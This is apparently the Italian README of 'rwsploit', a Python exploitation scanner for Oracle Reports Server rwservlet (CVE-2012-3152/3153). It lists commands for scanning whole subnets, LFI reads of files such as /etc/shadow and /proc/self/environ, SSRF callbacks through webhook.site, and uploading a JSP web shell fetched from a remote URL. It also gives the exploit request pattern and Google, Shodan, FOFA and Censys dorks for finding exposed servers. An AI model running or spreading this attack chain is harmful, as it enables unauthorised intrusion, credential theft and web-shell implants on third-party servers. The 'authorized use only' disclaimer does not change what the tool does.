
Scanner di sfruttamento automatizzato per Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Rileva, identifica, legge file tramite LFI, testa SSRF tramite webhook e carica shell JSP. Punta a Oracle Reports < 11g. Solo per uso autorizzato.
⚠️ Solo per uso autorizzato. Esegui questo strumento solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'uso non autorizzato è illegale.
Uno scanner di exploitation mirato per Oracle Reports Server (rwservlet) che prende di mira CVE-2012-3152 e CVE-2012-3153 — che colpiscono versioni precedenti alla 11g. Automatizza rilevamento, lettura di file LFI, test SSRF e upload di shell JSP su singoli IP, range CIDR o liste di target. Il pre-filtraggio intelligente TCP/HTTP salta immediatamente gli host inattivi, senza sprecare tempo.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Richiede Python 3.8+. Nessuna altra dipendenza.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
Esegui senza argomenti per vedere il menu di aiuto completo e i dork di ricognizione.
# Solo rilevamento
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Rilevamento + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Catena completa — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Scansione sottorete, salva dump
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# Da file, nessun SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
Formato targets.txt
# commento — ignorato
10.10.10.55
10.10.11.0/24
Legge file leggibili globalmente rilevando prima il sistema operativo tramite showenv, quindi esegue solo il set di payload corrispondente.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 L'assenza di output LFI non significa che il target sia sicuro — la configurazione e i permessi dei file di Oracle variano. Testa sempre SSRF e upload di shell in modo indipendente.
Invia rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> e interroga l'API di webhook.site per un callback. Stampa l'IP sorgente, il metodo e lo User-Agent al successo. Un nuovo token webhook viene creato automaticamente all'avvio.
--shell)PATH_TRANSLATED da showenv per ottenere il percorso reale della webrootkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Descrizione |
|---|---|
| CVE-2012-3152 | Lettura file non autenticata tramite il parametro report di rwservlet |
| CVE-2012-3153 | SSRF e scrittura file tramite JOBTYPE=rwurl + URLPARAMETER |
Colpisce Oracle Reports Server 6i, 9i, 10g — risolto in 11g.
Solo per test di penetrazione autorizzati, sfide CTF e ricerca sulla sicurezza. L'autore non si assume alcuna responsabilità per un uso improprio.
| Flag | Descrizione | Default |
|---|
-t | IP, hostname o CIDR di destinazione. Accetta più valori. | — |
-f | File con un IP o CIDR per riga. # = commento. | — |
-p | Porta personalizzata singola — sovrascrive la lista di porte predefinita. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Thread concorrenti. | 15 |
-o | Salva i dump LFI su disco con questo prefisso. es. -o loot → loot_<ip>_<porta>_<file>.txt | solo stdout |
--timeout | Timeout della richiesta in secondi. | 10 |
--lfi | Esegui payload di lettura file LFI. Il sistema operativo viene rilevato per primo, quindi vengono eseguiti solo i payload pertinenti. | disattivo |
--no-ssrf | Salta il test SSRF webhook. | disattivo |
--shell | Carica una shell JSP. Chiede l'URL da cui servire il contenuto della shell. | disattivo |
-h | Mostra aiuto e dork di ricognizione. | — |